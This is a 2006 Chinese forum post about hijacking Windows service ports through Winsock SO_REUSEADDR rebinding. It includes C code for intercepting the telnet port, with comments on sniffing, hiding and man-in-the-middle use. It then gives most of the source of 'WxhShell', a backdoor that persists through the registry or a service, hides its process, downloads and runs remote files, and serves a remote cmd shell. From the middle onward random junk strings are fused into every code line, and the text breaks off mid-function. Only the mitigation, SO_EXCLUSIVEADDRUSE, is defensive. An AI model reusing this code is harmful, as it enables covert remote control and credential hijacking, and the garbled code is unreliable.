[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; tddwnpnSw
if(chr[0]==0xd || chr[0]==0xa) { Z_GGH2u
pwd=0; ct\msG }b:
break; i!YfR]"}
} _hY6NMw
i++; \GEz.Vb
} :!Ci#[g
OU{c|O
// 如果是非法用户，关闭 socket Kw-<o!~
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ta[2uv>
} It3k#A0
k]ZE j/y~
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;1&"]N%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ! $JX3mP
gP>pbW_
while(1) { C@a I*+@-"
vHvz-3
ZeroMemory(cmd,KEY_BUFF); DN%}OcpZ
ZX/FIxpy
// 自动支持客户端 telnet标准 GvtK=A$b
j=0; `,AOxJ:$
while(j<KEY_BUFF) { '{WEyhaS
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >lIzeEW#
cmd[j]=chr[0]; fr~Eb'8
if(chr[0]==0xa || chr[0]==0xd) { "|JbdI]%P
cmd[j]=0; xoVd[c!
break; \PS]c9@,rc
} `R0~mx&6G
j++; <lzC|>BG
} OV{v6,>O
:2j`NyLI.
// 下载文件 RQ=rB9~:ZN
if(strstr(cmd,"http://")) { 3w^W6hN)
send(wsh,msg_ws_down,strlen(msg_ws_down),0); syu/"KY^!
if(DownloadFile(cmd,wsh)) ^:/c<(DQD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '`^~Zy?c
else .6MG#N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O.jm{x!m
} YT-ua{.^
else { i6yA>#^
g#(+:^3'
switch(cmd[0]) { '/`O*KD]
@vq)Y2)r\
// 帮助 cn}15JHdR
case '?': { Q m*z
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3>n&u,Xe
break; xY?p(>(
} 'jO2pH/%
// 安装 }`CF(Do
case 'i': { )ThNy:4
if(Install()) C9+rrc@4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (-yif&
else "]jN'N(.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NK|U:p2H
break; u>;aQtK~
} ,q%X`F rc
// 卸载 L4^/O29
case 'r': { L:C/PnIV
if(Uninstall()) d"5_x]Z;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IZrcn
else Ch{6=k bK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lu^uY7 ?}
break; 0`zdj
} oi`L ;w|]
// 显示 wxhshell 所在路径 BcQUD?LC`
case 'p': { 4U\>TFO
char svExeFile[MAX_PATH]; W'"hjQ_
strcpy(svExeFile,"\n\r"); ac\aH#J_nC
strcat(svExeFile,ExeFile); ^6# yL6E,~
send(wsh,svExeFile,strlen(svExeFile),0); R@grY:h
break; z~f;}`0
} xJw" 8V<
// 重启 Pz*BuL<
case 'b': { >!Gq[i0
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); : F3UJ[V
if(Boot(REBOOT)) kYCm5g3u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V=fu[#<@Ig
else { %@%rdrZ
closesocket(wsh); @|;[ ;:h@
ExitThread(0); +o3n%( ^~
} {8mJ<b>VA
break; }WJXQ@
} T$mT;k
// 关机 Fep@VkN
case 'd': { i|<wnJu
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *CGHp8
if(Boot(SHUTDOWN)) xj33g6S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d_(;sW"I
else { G8]{pbX
closesocket(wsh); !^Ay!
ExitThread(0); oeKl\cgFx
} sRLjKi2D
break; Q~"Lyy8
} /Q W^v;^
// 获取shell SeZ+&d
case 's': { Ho}*Bn~ic
CmdShell(wsh); Q65M(x+oy
closesocket(wsh); 7h(
ExitThread(0); )+v5H
break; %@(+`CCA
} _!|$i
// 退出 KUPQ6v }
case 'x': { |H=5Am
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n[y=DdiKGS
CloseIt(wsh); .+Q1h61$T
break; D*46,>Tv
} ~{g/
// 离开 %;]/Z%!
case 'q': { rc:UG "[
send(wsh,msg_ws_end,strlen(msg_ws_end),0); zt]8F)l@
closesocket(wsh); 9'Z{uHi%
WSACleanup(); 9FC_B+7
exit(1); ,h%n5R$:
break; [ s/j?/9
} & :W6O)uY
} W;yg{y
} =}%:4
lpd~U2&
// 提示信息 o4 "HE*
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1Z_]Ge<a
} .rg "(I
} O>f*D+A-
rv)Eg53Q
return; \{rhHb\|h
} r#j3O}(n
cMtUb
// shell模块句柄 QHXpX9
int CmdShell(SOCKET sock) _eQ-'")
{ b* n#XTV
STARTUPINFO si; H9_>a-> )~
ZeroMemory(&si,sizeof(si)); LkafB2y
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X`Lv}6}xT
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4`5W] J]6
PROCESS_INFORMATION ProcessInfo; ZHwN3
char cmdline[]="cmd"; 3>5gh8!-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J#w=Z>oz<
return 0; WSF$xC/~
} = ?/6hB=7<
.2P3 !KCL
// 自身启动模式 &9Z@P[f
int StartFromService(void) +yr~UP_ }
{ D}{]5R
typedef struct bA6^RIf?
{ x`p908S^
DWORD ExitStatus; ^755LW
DWORD PebBaseAddress; $rjm MSxi
DWORD AffinityMask; bQ?Vh@j(M
DWORD BasePriority; m-[xrVV
ULONG UniqueProcessId; 6P9#6mZ
ULONG InheritedFromUniqueProcessId; [$>@f{:
} PROCESS_BASIC_INFORMATION; ,DWq
Rc@lGq9
PROCNTQSIP NtQueryInformationProcess; Z@JTZMN_
%"E!E1_Sv
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I8W9Kzf
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #RdcSrw)W!
<|3F('Q"
HANDLE hProcess; 0|hOoO]?q&
PROCESS_BASIC_INFORMATION pbi; _=[pW2p
E^w0X,0XlE
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0ikA@SAq
if(NULL == hInst ) return 0; +U1fa9NSn
t=fAG,k5
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n68qxD-X
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O#^qd0e'P!
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sV%=z}n=
+5GC?cW
if (!NtQueryInformationProcess) return 0; +Z9ua%,3%
ncsk(`lo
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0|\JbM
if(!hProcess) return 0; 1?TgI0HS
,F'y:px
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]RVme^=
*=%`f=
CloseHandle(hProcess); /byF:iYI
'oBv(H
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K(NP%:
if(hProcess==NULL) return 0; za.^vwkBk2
rd(-2,$4
HMODULE hMod; $0M7P5]N*G
char procName[255]; |f}`uF
unsigned long cbNeeded; +miL naO~L
'7]9q#{su
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5"x1Pln
>G0ihhVt
CloseHandle(hProcess); ]VN1Y)
=*?XZA)c
if(strstr(procName,"services")) return 1; // 以服务启动 nwDW<J{f|U
Nw1 .x
return 0; // 注册表启动 *z'Rl'j9[
} hz2f7g
4l{La}Aj
// 主模块 fhHTp_u)2
int StartWxhshell(LPSTR lpCmdLine) P6'0:M@5
{ ~4S6c=:
SOCKET wsl; } f!wQxb
BOOL val=TRUE; 7,{!a56zX
int port=0; 4tt=u]:
struct sockaddr_in door; 4 $)}d
1x0)mt3
if(wscfg.ws_autoins) Install(); ;UQ&yj%x
' b,zE[Q
port=atoi(lpCmdLine); T!pHT'J
9\r5&#<(I
if(port<=0) port=wscfg.ws_port; *; 6LX
-,"eN}P^
WSADATA data; 5e'**tbKH
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; taSYR$VJ
aTLr%D:Ka
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %A@U7gqc
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %8"Aq
door.sin_family = AF_INET; i?F~]8
door.sin_addr.s_addr = inet_addr("127.0.0.1"); mndNkK5o
door.sin_port = htons(port); H//,qxDc
4d-"kx3X
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;Ac!"_N?7
closesocket(wsl); 0te[i*G
return 1; aXD|XE%
} fqm6Pd{:(
`7 J4h9K
if(listen(wsl,2) == INVALID_SOCKET) { pWGIA6&v(
closesocket(wsl); j+3=&PkA.]
return 1; )5U7w
} ; JHf0
Wxhshell(wsl); e5sQl1
WSACleanup(); )|U+<r<
QJH~YV\%
return 0; IkLcL8P^
E-#}.}i5
} a&`Lfw"
]u >~:
// 以NT服务方式启动 `[4{]jX+<
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .ffb*gZ4
{ W%}zwQ
DWORD status = 0; YR~)07
DWORD specificError = 0xfffffff; qP[jtRIN
z`y^o*qc]
serviceStatus.dwServiceType = SERVICE_WIN32; ){i 9,u")
serviceStatus.dwCurrentState = SERVICE_START_PENDING; u+]8Sq
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s !HOrhV
serviceStatus.dwWin32ExitCode = 0; v}"DW?
serviceStatus.dwServiceSpecificExitCode = 0; DIc -"5~
serviceStatus.dwCheckPoint = 0; Czd)AVK
serviceStatus.dwWaitHint = 0; %y\
gs=(h*
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <~.1>CI9D3
if (hServiceStatusHandle==0) return; k Rp$[^ma
}xy[&-dh
status = GetLastError(); 6.QzT(
if (status!=NO_ERROR) .u9,w
{ 09HqiROw
serviceStatus.dwCurrentState = SERVICE_STOPPED; !JwR[X\f
serviceStatus.dwCheckPoint = 0; ~jOk?^6
serviceStatus.dwWaitHint = 0; ~@VyJT%
serviceStatus.dwWin32ExitCode = status; 1:q5h*
serviceStatus.dwServiceSpecificExitCode = specificError; ~0gHh
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e:WKb9nT
return; @avG*Mr^
} n]WVT@
V0F&a~Q
serviceStatus.dwCurrentState = SERVICE_RUNNING; ~fF;GtP
serviceStatus.dwCheckPoint = 0; iXuSFman
serviceStatus.dwWaitHint = 0; H}}C>p"!,
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7a<:\F}E0
} w:[\G%yQ
FO xZkU\e=
// 处理NT服务事件，比如：启动、停止 l>jNBxB|/A
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4Y}{?]>pu
{ Z[zRZ2'i5
switch(fdwControl) >iI-Cs7TD
{ $2pkh%
case SERVICE_CONTROL_STOP: (K|7T{B
serviceStatus.dwWin32ExitCode = 0; _B^Q;54c
serviceStatus.dwCurrentState = SERVICE_STOPPED; r1[Jo|4vo
serviceStatus.dwCheckPoint = 0; kTs.ps8ei
serviceStatus.dwWaitHint = 0; %8g1h)F"S
{ 7F wot&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 05o 1
} /gq VXDY+`
return; c\(CbC
case SERVICE_CONTROL_PAUSE: &X OFc.u
serviceStatus.dwCurrentState = SERVICE_PAUSED; {3*Zx"e![
break; 3etW4
case SERVICE_CONTROL_CONTINUE: GC^>oF
serviceStatus.dwCurrentState = SERVICE_RUNNING; <Is~DjIav
break; }:hN}*H
case SERVICE_CONTROL_INTERROGATE: /}$D&KwYg
break; 7y'2
}; aqN6.t
SetServiceStatus(hServiceStatusHandle, &serviceStatus); h_K!ch}
} 0ZJt
OS$^>1f"
// 标准应用程序主函数 phqmr5s^H
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QlK]2r9
{ ~-o[v-\
78/,rp#'_
// 获取操作系统版本 0}I aWd^4
OsIsNt=GetOsVer(); O p,_d^
GetModuleFileName(NULL,ExeFile,MAX_PATH); <e@+w6Kp'7
]}0QrD
// 从命令行安装 &Z6s\r%
if(strpbrk(lpCmdLine,"iI")) Install(); tkKiuh?m
xy[aZr
// 下载执行文件 K+@R [
if(wscfg.ws_downexe) { Q6rvTV'vv
